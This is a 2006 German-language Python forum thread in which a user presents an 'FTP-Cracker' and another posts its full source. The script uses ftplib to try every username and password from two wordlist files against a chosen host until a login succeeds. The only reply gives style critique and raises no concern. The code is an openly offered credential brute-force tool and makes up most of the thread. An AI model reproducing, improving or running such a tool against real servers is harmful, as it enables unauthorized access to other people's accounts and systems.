Seite 1 von 1

Was haltet ihr von meinem Programm?

Verfasst: Dienstag 10. Januar 2006, 19:13
von b0x
Ok, nur so als Übung habe ich mal in Python (mit hilfe der ftplib) ein programm geschrieben, um FTP-Server Passwörter zu "knacken" ich machte dies nur zu übungszwecken und bitte euch, damit keinen blödsinn anzustellen...!!

Also was halet ihr von:
http://box.bo.ohost.de/ftpcrack.tar ?

Verfasst: Dienstag 10. Januar 2006, 20:55
von jens
Ich würde es zumindest mal überfliegen, bin aber ehrlich zu faul mir ein Archiv download und auspacken zu müssen... Kannst du nicht den SourceCode direkt auf die Seite packen???

SourceCode v0.3

Verfasst: Mittwoch 18. Januar 2006, 11:23
von droptix

Code: Alles auswählen

#Ftp-Server hack0r
#Version 0.3
#By the [GS]Crew!
#Jo!n i-c-e.cx.la !
#You need the "ftplib" =)

#includes
from ftplib import *
import re

#hello
print "Wilkommen zu dem FTP-Cracker v0.3! gestartet von b0x..."
print "natürlich open source :)\n"

#Get variables ^^
host = raw_input("host: ")
port = raw_input("port: ")

#Main prog
number = 0
number2 = 0
number_alt = 0
test = 0

f = open("users.lst")
data = f.readlines()
f.close()

g = open("passes.lst")
data2 = g.readlines()
g.close()

while test==0:
	for i in range(len(data)):
    		f = open("users.lst")
    		f.seek(number)
    		usr = f.readline()
    		number = f.tell()
    		f.close()

    		expr = re.compile("\n")
    		usr2=expr.sub("",usr)

		for j in range(len(data2)):
    			g = open("passes.lst")
    			g.seek(number2)
    			pw = g.readline()
			number_alt=number2
    			number2 = g.tell()
			if number2==number_alt:
				number2=0
    			g.close()

    			expr = re.compile("\n")
    			pw2=expr.sub("",pw)

    			try:
				ftp = FTP(host)
    				ftp.connect(host , port)
    				ftp.login(usr2 , pw2)
				print "++++++++++FOUND!!++++++++++\n      User: ", usr2, "\n      Pass: ", pw2,"\n+++++++++++++++++++++++++++"
				test=1
    			except:
				test = 0

Verfasst: Mittwoch 18. Januar 2006, 11:32
von jens
Also erstmal würde ich kein Stern-Import machen. Dabei sieht man einfach
schlecht, woher ein Objekt kommt...

Dann ist diese while-Schleife nicht so optimal aufgebaut... Generell würde ich alles in kleinere Häpchen aufteilen und in Funktionen verpacken...

Außerdem scheint mir die Einrückung irgendwie falsch zu sein... Und ich frage mich, warum du die beiden Dateien zweimal öffnest...
Sowas sollte auch gehen:

Code: Alles auswählen

f = file(users.lst)
for line in f: print line
f.close()